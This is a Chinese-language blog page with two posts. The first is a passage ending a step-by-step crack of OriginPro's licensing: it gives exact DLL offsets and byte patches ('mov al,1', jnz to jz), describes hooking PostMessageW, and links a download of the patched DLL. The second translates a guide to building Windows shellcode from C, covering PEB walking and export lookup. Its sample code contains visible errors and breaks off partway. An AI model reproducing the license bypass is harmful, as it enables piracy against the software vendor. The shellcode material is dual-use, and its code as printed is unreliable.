<p>继续往下浏览,我发现在右边的分支最终会调用函数<code>COKAccess::UpdateMainWinTitle</code>,这个看起来很不错,因为如果是激活失败的话也没必要更新主窗口的标题,可以看到我当前的测试软件的窗口标题中有一个<code>Expired</code>,同时左边的分支并没有什么有趣的东西,因此我们尝试把函数<code>sub_180794B10</code>的返回值强制修改为1</p>
<p><img alt="image-20230801012947437" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/lKtZgeqEaS.jpg"></p>
<h2>patch程序</h2>
<p>这里之所以选择修改返回值而不是分析函数<code>sub_180794B10</code>的代码,是因为这个函数实在是太复杂了,不如赌一把直接修改返回值</p>
<p>看一下缩略图就知道这个函数有多复杂了,比我上面贴的那个还复杂</p>
<p><img alt="image-20230801015555174" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/RKaCAhYOkV.jpg"></p>
<p>想要把这个函数分析明白需要很多时间,所以我选择直接patch</p>
<p>我们最终会从左边那个分支返回,所以我们需要把<code>mov eax, ebx</code>修改掉,保证最后的返回值非0</p>
<p><img alt="image-20230801015820452" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/NPnVljnJMh.jpg"></p>
<p>这个指令对应的机器码如下</p>
<div class="highlight"><pre><span></span><code><span class="mi">0</span><span class="o">:</span><span class="mi">001</span><span class="o">></span><span class="w"> </span><span class="n">u</span><span class="w"> </span><span class="n">ok</span><span class="o">+</span><span class="mi">7954</span><span class="n">CB</span><span class="w"> </span>
<span class="n">ok</span><span class="o">!</span><span class="n">GetObjectPlotCategory</span><span class="o">::</span><span class="n">ObjectSeriesSetType</span><span class="o">+</span><span class="mh">0x20ab</span><span class="o">:</span>
<span class="mi">00007</span><span class="n">ffc</span><span class="err">`</span><span class="mi">17</span><span class="n">f554cb</span><span class="w"> </span><span class="mi">8</span><span class="n">bc3</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">eax</span><span class="o">,</span><span class="n">ebx</span>
</code></pre></div>
<p>只占用2个字节,因此我们需要搞一个只占用2字节,而且还能保证eax非0的指令</p>
<p><img alt="image-20230801020330001" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/TEadHtWeBC.jpg"></p>
<p>如上图所示,<code>mov al, 1</code>就正好符合我们的需求,我们只需要使用管理员权限打开IDA,将ok.dll的<code>0x1807954CB</code>修改为<code>b001</code>即可</p>
<p><img alt="image-202308010228518a71" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/hMFUYmGXuk.jpg"></p>
<h1>使用API HOOK技术定位消息发送代码</h1>
<p>我当时以为这把肯定能搞定了,结果输入注册码之后弹出了如下消息框,真的是太难了</p>
<p><img alt="image-20230801022851871" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/sRoeFtigiq.jpg"></p>
<p>现在我要找一下这个窗是怎么弹出来的,在<code>user32!messageboxw</code>下断点,看一下调用栈</p>
<div class="highlight"><pre><span></span><code>Breakpoint 0 hit
USER32!MessageBoxW:
00007ffc`64609750 4883ec38 sub rsp,38h
0:000> k
# Child-SP RetAddr Call Site
00 00000046`963fe638 00007ffc`1a939814 USER32!MessageBoxW
01 00000046`963fe640 00007ffc`33c8782e ou!CMainFrame::WindowProc+0x704
</code></pre></div>
<p>这个消息框是在<code>CMainFrame::WindowProc</code>函数的<code>0x18003980F</code>位置被调用的</p>
<p>这个函数看名字再加上IDA分析出来的参数情况,基本上能猜出来是通过消息触发的,后两个参数应该就是lParam和wParam,和<code>SendMessage</code>的参数对应</p>
<p><img alt="image-20230801025717941" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/GlbIxOOeiF.jpg"></p>
<p>我们可以使用IDA的分支图追溯一下函数<code>MessageBoxW</code>的第2和第3个参数(就是消息框的标题和内容)是哪里来的</p>
<p><img alt="imasge-20230801025717941" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/krTxitdbwV.jpg"></p>
<p>最终可以定位到这两个参数是在<code>0x18003940F</code>和<code>0x180039422</code>被初始化的,从这个地方的函数名称和参数传入情况就能看出来,第一个参数是传出参数,将会保存一个字符串,并且这个函数两次调用,其第2个参数分别是<code>CMainFrame::WindowProc</code>的第4和第3个参数</p>
<p>因此我们可以下下面这样的断点来观察该函数调用前后的参数情况</p>
<div class="highlight"><pre><span></span><code>ba e1 ou+3940F "r rdx;g"
ba e1 ou+39422 "dc poi(rsp+48);r rdx;g"
ba e1 ou+39428 "dc poi(rsp+40);g"
</code></pre></div>
<p>得到如下结果:</p>
<div class="highlight"><pre><span></span><code>rdx=0000000000003f0e
000001d9`d2b91dc8 00740041 00650074 0074006e 006f0069 A.t.t.e.n.t.i.o.
000001d9`d2b91dd8 0021006e abab0000 abababab abababab n.!.............
000001d9`d2b91de8 abababab feeeabab 00000000 00000000 ................
000001d9`d2b91df8 00000000 00000000 feeefeee feeefeee ................
000001d9`d2b91e08 bd768892 00fbed99 d2a8e380 000001d9 ..v.............
000001d9`d2b91e18 c305e490 000001d9 feeefeee feeefeee ................
000001d9`d2b91e28 feeefeee feeefeee feeefeee feeefeee ................
000001d9`d2b91e38 feeefeee feeefeee feeefeee feeefeee ................
rdx=0000000000003fb6
000001d9`d2a8e398 006f0059 00720075 00460020 0045004c Y.o.u.r. .F.L.E.
000001d9`d2a8e3a8 006c0058 0020006d 0069006c 00650063 X.l.m. .l.i.c.e.
000001d9`d2a8e3b8 0073006e 00200065 00690066 0065006c n.s.e. .f.i.l.e.
000001d9`d2a8e3c8 00690020 00200073 006e0069 00610076 .i.s. .i.n.v.a.
000001d9`d2a8e3d8 0069006c 002e0064 abab0000 abababab l.i.d...........
000001d9`d2a8e3e8 abababab abababab feeeabab feeefeee ................
000001d9`d2a8e3f8 feeefeee feeefeee 00000000 00000000 ................
000001d9`d2a8e408 00000000 00000000 feeefeee feeefeee ................
</code></pre></div>
<p>可以看到两次调用的第2个参数分别为<code>0x3f0e</code>和<code>0x3fb6</code>,我们选择<code>0x3fb6</code>作为过滤条件,因为标题区分度不够高,可能别的窗口也会使用同样的标题,而内容重复的概率不高,那么我们就可以HOOK住消息发送函数,检测传进来的<code>wParam</code>是否为<code>0x3fb6</code>,消息发送函数我知道的一共有两个,一个是SendMessage,另一个是PostMessage,我当时先HOOK的<code>SendMessageW</code>,但是并没有拦截到<code>wParam</code>值为<code>0x3fb6</code>的调用,后面我又HOOK了<code>PostMessageW</code>,成功拦截,下面我记录一下我HOOK这两个API的过程</p>
<h2>api hook的技术细节</h2>
<p>我在网上搜了搜,给出的方案是把原始函数的前面几个字节替换成跳转到我们的hook函数的指令,然后在hook函数中对参数进行过滤,之后恢复原始函数的前面几个字节,再去调用原始函数并返回</p>
<p>但是这个并不满足我的需求,由于在hook函数内修复了原始函数,所以他只能hook一次</p>
<p>我后来想的办法是在hook函数内修复原始函数,调用原始函数后保存返回值,然后再修改原始函数的前几个字节,重新hook住这个函数,再返回前面保存的返回值,但是这样在多线程中会出现问题,最后在<a href="https://citrusice.github.io/">汪哥</a>的提醒下,找到了下面的hook方式</p>
<p><img alt="image-20230801200025544" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/RFAClLpYkv.jpg"></p>
<p>最终导致的结果就是,当<code>PostMessageW</code>被调用的时候,指令的走向就变成了下面这样</p>
<p><img alt="image-20230801200204285" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/nDDKMWeAAz.jpg"></p>
<p>原理已经清楚,代码就很容易写了,如下图所示,我们顺利定位到了发送该消息的调用栈</p>
<p><img alt="image-20230801213826730" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/OnekrdzTdZ.jpg"></p>
<p>这条消息实际上是由<code>sub_180793590</code>发送的,调用位置在<code>0x180793625</code></p>
<p><img alt="image-20230801204150489" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/BPfZYRbiFD.jpg"></p>
<p>而这个函数又是在<code>OkOnItemReDraw</code>的<code>0x180195DE8</code>位置调用的,观察该函数的分支走向并结合里面调用的各个函数名分析即可定位到关键判断语句的位置:<code>0x180195D3E</code></p>
<div class="highlight"><pre><span></span><code>test eax, eax
jnz loc_18019624F
</code></pre></div>
<p>故技重施,把<code>jnz</code>修改为<code>jz</code>即可,前者的机器码为<code>0F 85</code>,后者的机器码为<code>0F 84</code>,修改之后,重新打开OriginPro,没有任何弹窗,也不会出现过一段时间就自动退出的情况,虽然查看注册信息仍然是未激活状态,但是已经不影响正常使用了</p>
<p>OK,这次的破解就到这儿吧,不足之处还望各位师傅指点</p>
<p>本篇文章中用到的工具以及patch之后的DLL都打包放到<a href="https://github.com/wqreytuk/article/blob/main/123.7z">这里</a>了</p>从一个C语言项目到汇编再到shellcode2022-10-09T00:00:00+02:002022-10-09T00:00:00+02:0012138tag:None,2022-10-09:cong-yi-ge-cyu-yan-xiang-mu-dao-hui-bian-zai-dao-shellcode.html<p><a href="https://vxug.fakedoma.in/papers/VXUG/Exclusive/FromaCprojectthroughassemblytoshellcodeHasherezade.pdf">原文链接</a></p>
<p><a href="https://github.com/wqreytuk/ShellCodeAsmCleaner">相关工具</a></p>
<p>联系不上原作者,侵删</p>
<h1>概述</h1>
<p>恶意软件作者以及exp开发者经常将一段独立的、位置无关的代码叫做shellcodes</p>
<p>这种类型的代码可以被很简 …</p><p><a href="https://vxug.fakedoma.in/papers/VXUG/Exclusive/FromaCprojectthroughassemblytoshellcodeHasherezade.pdf">原文链接</a></p>
<p><a href="https://github.com/wqreytuk/ShellCodeAsmCleaner">相关工具</a></p>
<p>联系不上原作者,侵删</p>
<h1>概述</h1>
<p>恶意软件作者以及exp开发者经常将一段独立的、位置无关的代码叫做shellcodes</p>
<p>这种类型的代码可以被很简单的注入到任何合适的内存中并立即执行,不需要任何外部的加载器</p>
<p>尽管shellcode为研究人员和恶意软件作者提供了很大的便利,但是构造shellcode非常麻烦</p>
<p>shellcodes必须要遵循一套与编译器输出的格式具有很大差异的准则</p>
<p>这也是为什么大家都直接用汇编语言来写shellcode,就是为了完全控制输出的格式</p>
<p>毋庸置疑的是,使用汇编语言来构造shellcode是最精确的方法,但是与此同时,也很容易出错并且很麻烦</p>
<p>因此就有很多研究者想尽办法来简化这一过程,最大程度的利用C语言编译器而不是手动使用汇编语言来构建</p>
<p>在这份文档中,我将会分享我的相关经验以及我所使用的方法</p>
<p>此文档适用于初学者,在文中我详细介绍了一些围绕shellcode创建的常见技术,在第一部分中,我将会展示一些shellcode需要遵守的基本准则,以及相关方法的原理,然后我会逐步讲解shellcode的创建过程</p>
<p>使用这些方法,我们可以避免手动编写全部的汇编代码,而只需要对生成的汇编代码做一些手动修改即可,我们并没有抛弃手动编写shellcode的优势,只是跳过了繁冗复杂的部分</p>
<h1>以前的技术和我攥写本文档的动力</h1>
<p>使用C代码来创建shellcode的想法并不新鲜</p>
<p>在Bill Blunden于2012年出版的<a href="https://www.jblearning.com/catalog/productdetails/9781449626365">《The Rootkit Arsenal - Second Edition》</a>一书中,他讲解了自己通过C代码创建shellcode的方法(第十章:使用C语言创建shellcode)</p>
<p>在<a href="https://github.com/mattifestation">Matt Graeber (@Mattifestation)</a>的文章<a href="https://web.archive.org/web/20210305190309/http://www.exploit-monday.com/2013/08/writing-optimized-windows-shellcode-in-c.html">Writing Optimized Windows Shellcode in C</a>中也介绍了相似的技术</p>
<p>在上面提到的这两种方法中,shellcode都是直接从C代码创建出来的,整个的理念都是围绕着修改编译器配置来创建出来一个PE文件使得我们能够从该文件中提取出来一段能够独立运行的代码</p>
<p>但是在这些方法中都完全忽略了使用纯汇编代码来创建shellcode的优势,之前的这些方法只能让我们获取到最终生成好的代码,而无法直接控制汇编代码,并且根本没有提供和这些汇编代码交互或者修改的机会</p>
<p>我所探寻的是一种能够将两者结合起来的方法:略过复杂且易出错的汇编代码编写部分,与此同时生成能够让我自由修改的汇编代码,最终用于生成shellcode</p>
<h1>Shellcode的通用准则</h1>
<p>对于PE格式的文件,我们并不需要关心他是怎么被加载的,Windows Loader会帮你做这些事,但是对于shellcode就不一样了,我们不能依赖Windows Loader和PE格式提供的便利:</p>
<ul>
<li>没有section</li>
<li>没有Data Directory (导入表、重定位表等等)</li>
</ul>
<p>下面是PE文件和shellcode的差异对比表格:</p>
<table>
<thead>
<tr>
<th>特性</th>
<th style="text-align: left;">PE</th>
<th>Shellcode</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>加载</strong></td>
<td style="text-align: left;">通过Windows Loader;<br />运行EXE会触发进程的创建</td>
<td>自定义,简化过的;<br />必须寄生在已经存在的进程中(比如通过代码注入+进程注入)<br />或者附加到已经存在的PE文件中(比如病毒)</td>
</tr>
<tr>
<td><strong>构成</strong></td>
<td style="text-align: left;">分为不同的section,拥有特定的访问权限,搭载不同的元素(code、data、resources等)</td>
<td>全部都在一片内存区域中(读、写、执行)</td>
</tr>
<tr>
<td><strong>根据load base重定位</strong></td>
<td style="text-align: left;">在重定位表中定义,被Windows Loader所使用</td>
<td>自定义;位置无关的代码</td>
</tr>
<tr>
<td><strong>对系统API的访问</strong></td>
<td style="text-align: left;">在导入表中定义,被Windows Loader所使用</td>
<td>自定义;通过PEB查找来获取导入;没有导入表或者简化过的</td>
</tr>
</tbody>
</table>
<h2>位置无关的代码</h2>
<p>对于PE文件,根据其在内存中加载的基地址,Windows Loader可以通过重定位表将所有的地址进行偏移,这一过程是在运行时自动完成的</p>
<p>而对shellcodes而言,我们无法利用这个特性,因此只能编写出不需要进行重定位的代码,遵循此准则的代码被称作Position Independent Code (PIC)</p>
<p>通过使用相对地址可以创建出PIC,我们可以使用short jumps、long jumps、调用本地方法,因为这些操作都使用相对地址</p>
<h2>不通过导入表调用API</h2>
<p>对于PE文件,所有在我们的代码中被调用的API都会被收集到导入表中,导入表是由链接器创建的,然后在运行时对导入表进行解析</p>
<p>对于shellcodes,我们无法访问导入表,因此我们需要自己来处理API的解析</p>
<p>为了获取到在代码中被调用的API,我们需要利用PEB (Process Environment Block ---- 在进程运行时创建出来的系统结构)</p>
<p>一旦我们的shellcode注入到进程中,我们就需要获取到目标的PEB,然后用它来搜索加载到该进程运行地址空间中的DLL</p>
<p>我们需要获取到ntdll.dll或者kernel32.dll来解析剩下的API,每一个进程都会加载ntdll.dll,kernel32.dll会在进程初始化完成后被加载,这两者中的任意一个被我们获取到之后,就能用来加载所有我们需要的DLL文件</p>
<p>获取shellcode的导入API:</p>
<ul>
<li>获取PEB地址</li>
<li>通过<code>PEB->Ldr->InMemoryOrderModuleList</code>查找到:</li>
<li>kernel32.dll</li>
<li>或者ntdll.dll</li>
<li>遍历kernel32(或者ntdll)的导出表,查找到下面函数的地址:</li>
<li>kernel32.LoadLibraryA (该函数最终会调用ntdll.LdrLoadDll)</li>
<li>kernel32.GetProcAddress (该函数最终会调用ntdll.LdrGetProcedureAddress)</li>
<li>使用LoadLibraryA(或者LdrLoadDll)来加载我们需要的DLL</li>
<li>使用GetProcAddress(或者LdrGetProcedureAddress)来获取我们需要的函数</li>
</ul>
<h3>获取PEB</h3>
<p>PEB可以很方便的通过纯汇编代码来获取,指向PEB的指针是另一个结构体TEB(Thread Environment Block)的一个成员</p>
<p><img alt="image-20221010102252347" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/txFKwPvXJp.jpg"></p>
<p>32位进程使用FS段寄存器指向TEB,64位进程使用GS段寄存器指向TEB</p>
<table>
<thead>
<tr>
<th>进程位数</th>
<th style="text-align: left;">32bit</th>
<th>64bit</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>指向TEB的指针</strong></td>
<td style="text-align: left;">FS段寄存器</td>
<td>GS段寄存器</td>
</tr>
<tr>
<td><strong>PEB在TEB结构体中的偏移量</strong></td>
<td style="text-align: left;">0x30</td>
<td>0x60</td>
</tr>
</tbody>
</table>
<p>C语言实现如下:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="n">PPEB</span><span class="w"> </span><span class="n">pen</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="cp">#if defined(_WIN64)</span>
<span class="w"> </span><span class="n">peb</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">PPEB</span><span class="p">)</span><span class="n">__readgsqword</span><span class="p">(</span><span class="mh">0x60</span><span class="p">)</span>
<span class="cp">#else</span>
<span class="w"> </span><span class="n">peb</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">PPEB</span><span class="p">)</span><span class="n">__readfsdword</span><span class="p">(</span><span class="mh">0x30</span><span class="p">)</span>
<span class="cp">#endif </span>
</code></pre></div>
<h3>基于PEB的DLL查找</h3>
<p>PEB的其中一个成员是一个LinkedList,包含了该进程加载到内存中的所有DLL:</p>
<p><img alt="image-20221010104841467" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/NArbnnafZs.jpg"></p>
<p>通过遍历该LinkedList,就能搜索到我们需要的DLL</p>
<p><img alt="image-20221010104936749" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/OAUdvenNMZ.jpg"></p>
<p>下面的C代码演示了查找DLL的过程</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><Windows.h></span>
<span class="cp">#ifndef __NTDLL_H__</span>
<span class="cp">#ifndef TO_LOWERCASE</span>
<span class="cp">#define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1)</span>
<span class="cp">#endif</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_UNICODE_STRING</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">USHORT</span><span class="w"> </span><span class="n">Length</span><span class="p">;</span>
<span class="w"> </span><span class="n">USHORT</span><span class="w"> </span><span class="n">MaximumLength</span><span class="p">;</span>
<span class="w"> </span><span class="n">PWSTR</span><span class="w"> </span><span class="n">Buffer</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">UNICODE_STRING</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">PUNICODE_STRING</span><span class="p">;</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_PEB_LDR_DATA</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">Length</span><span class="p">;</span>
<span class="w"> </span><span class="n">BOOLEAN</span><span class="w"> </span><span class="n">Initialized</span><span class="p">;</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">SsHandle</span><span class="p">;</span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="n">InLoadOrderModuleList</span><span class="p">;</span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="n">InMemoryOrderModuleList</span><span class="p">;</span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="n">InInitializationOrderModuleList</span><span class="p">;</span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">EntryInProgress</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">PEB_LDR_DATA</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">PPEB_LDR_DATA</span><span class="p">;</span>
<span class="c1">// 这里我们不想使用任何由外部模块导入的函数</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_LDR_DATA_TABLE_ENTRY</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="n">InLoadOrderModuleList</span><span class="p">;</span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="n">InMemoryOrderModuleList</span><span class="p">;</span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="n">InInitializationOrderModuleList</span><span class="p">;</span>
<span class="w"> </span><span class="kt">void</span><span class="o">*</span><span class="w"> </span><span class="n">BaseAddress</span><span class="p">;</span>
<span class="w"> </span><span class="kt">void</span><span class="o">*</span><span class="w"> </span><span class="n">EntryPoint</span><span class="p">;</span>
<span class="w"> </span><span class="n">UNICODE_STRING</span><span class="w"> </span><span class="n">FullDllName</span><span class="p">;</span>
<span class="w"> </span><span class="n">UNICODE_STRING</span><span class="w"> </span><span class="n">BaseDllName</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">Flags</span><span class="p">;</span>
<span class="w"> </span><span class="n">SHORT</span><span class="w"> </span><span class="n">LoadCount</span><span class="p">;</span>
<span class="w"> </span><span class="n">SHORT</span><span class="w"> </span><span class="n">TlsIndex</span><span class="p">;</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">SectionHandle</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">CheckSum</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">TimeDateStamp</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">LDR_DATA_TABLE_ENTRY</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">PLDR_DAT_TABLE_ENTRY</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_PEB_LDR_DATA</span><span class="p">{</span>
<span class="w"> </span><span class="n">BOOLEAN</span><span class="w"> </span><span class="n">InheritedAddressSpace</span><span class="p">;</span>
<span class="w"> </span><span class="n">BOOLEAN</span><span class="w"> </span><span class="n">ReadImageFileExecOptions</span><span class="p">;</span>
<span class="w"> </span><span class="n">BOOLEAN</span><span class="w"> </span><span class="n">BeingDebugged</span><span class="p">;</span>
<span class="w"> </span><span class="n">BOOLEAN</span><span class="w"> </span><span class="n">SpareBool</span><span class="p">;</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">Mutant</span><span class="p">;</span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">IMAGEBaseAddress</span><span class="p">;</span>
<span class="w"> </span><span class="n">PPEB_LDR_DATA</span><span class="w"> </span><span class="n">Ldr</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">PEB</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">PPEB</span><span class="p">;</span>
<span class="cp">#endif</span>
<span class="kr">inline</span><span class="w"> </span><span class="n">LPVOID</span><span class="w"> </span><span class="nf">get_module_by_name</span><span class="p">(</span><span class="n">WCHAR</span><span class="o">*</span><span class="w"> </span><span class="n">module_name</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">PPEB</span><span class="w"> </span><span class="n">peb</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="w"> </span><span class="cp">#if defined(_WIN64)</span>
<span class="w"> </span><span class="n">peb</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="p">(</span><span class="n">PPEB</span><span class="p">)</span><span class="n">___readgsqword</span><span class="p">(</span><span class="mh">0x60</span><span class="p">);</span>
<span class="w"> </span><span class="cp">#else</span>
<span class="w"> </span><span class="n">peb</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">PPEB</span><span class="p">)</span><span class="n">__readfsdword</span><span class="p">(</span><span class="mh">0x30</span><span class="p">);</span>
<span class="w"> </span><span class="cp">#endif</span>
<span class="w"> </span><span class="n">PPEB_LDR_DATA</span><span class="w"> </span><span class="n">ldr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">peb</span><span class="o">-></span><span class="n">Ldr</span><span class="p">;</span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="n">list</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ldr</span><span class="o">-></span><span class="n">InLoadOrderModuleList</span><span class="p">;</span>
<span class="w"> </span><span class="n">PLDR_DATA_TABLE_ENTRY</span><span class="w"> </span><span class="n">Flink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="p">((</span><span class="n">PLDR_DATA_TABLE_ENTRY</span><span class="o">*</span><span class="p">)(</span><span class="o">&</span><span class="n">list</span><span class="p">));</span>
<span class="w"> </span><span class="n">PLDR_DATA_TABLE_ENTRY</span><span class="w"> </span><span class="n">curr_module</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Flink</span><span class="p">;</span>
<span class="w"> </span><span class="k">while</span><span class="p">(</span><span class="n">curr_module</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nb">NULL</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="n">curr_module</span><span class="o">-></span><span class="n">BaseAddress</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">curr_module</span><span class="o">-></span><span class="n">BaseDllName</span><span class="p">.</span><span class="n">Buffer</span><span class="o">==</span><span class="nb">NULL</span><span class="p">)</span><span class="k">continue</span><span class="p">;</span>
<span class="w"> </span><span class="n">WCHAR</span><span class="o">*</span><span class="w"> </span><span class="n">curr_name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">curr_module</span><span class="o">-></span><span class="n">BaseDllName</span><span class="p">.</span><span class="n">Buffer</span><span class="p">;</span>
<span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">module_name</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="mi">0</span><span class="o">&&</span><span class="n">curr_name</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">!=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="w"> </span><span class="n">WCHAR</span><span class="w"> </span><span class="n">c1</span><span class="p">,</span><span class="n">c2</span><span class="p">;</span>
<span class="w"> </span><span class="n">TO_LOWERCASE</span><span class="p">(</span><span class="n">c1</span><span class="p">,</span><span class="n">module_name</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
<span class="w"> </span><span class="n">TO_LOWERCASE</span><span class="p">(</span><span class="n">c2</span><span class="p">,</span><span class="n">curr</span><span class="p">)</span><span class="n">name</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">c1</span><span class="o">!=</span><span class="n">c2</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">module_name</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">==</span><span class="mi">0</span><span class="o">&&</span><span class="n">curr_name</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">==</span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">curr_module</span><span class="o">-></span><span class="n">BaseAddress</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">curr_module</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">PLDR_DATA_TABLE_ENTRY</span><span class="p">)</span><span class="n">curr_module</span><span class="o">-></span><span class="n">InLoadOrderModuleList</span><span class="p">.</span><span class="n">Flink</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<h3>导出函数查询</h3>
<p>获取到kernel32.dll的基地址之后,我们还需要获取一些函数的地址:<code>LoadLibraryA</code>和<code>GetProcAddress</code>,这个工作可以通过查询该DLL的导出表来完成</p>
<p>首先,我们需要从这个DLL的Data Directory中获取到导出表,然后遍历导出表中所有的函数名称直到找到我们想要的函数,然后拿到该函数的RVA,加到DLL的基地址上面获取到完整的函数地址</p>
<p>下面是导出表搜索函数的代码:</p>
<div class="highlight"><pre><span></span><code><span class="kr">inline</span><span class="w"> </span><span class="n">LPVOID</span><span class="w"> </span><span class="nf">get_func_by_name</span><span class="p">(</span><span class="n">LPVOID</span><span class="w"> </span><span class="n">module</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">func_name</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">IMAGE_DOS_HEADER</span><span class="o">*</span><span class="w"> </span><span class="n">idh</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">IMAGE_DOS_HEADER</span><span class="o">*</span><span class="p">)</span><span class="n">module</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">idh</span><span class="o">-></span><span class="n">e_magic</span><span class="o">!=</span><span class="n">IMAGE_DOS_SIGNATURE</span><span class="p">){</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
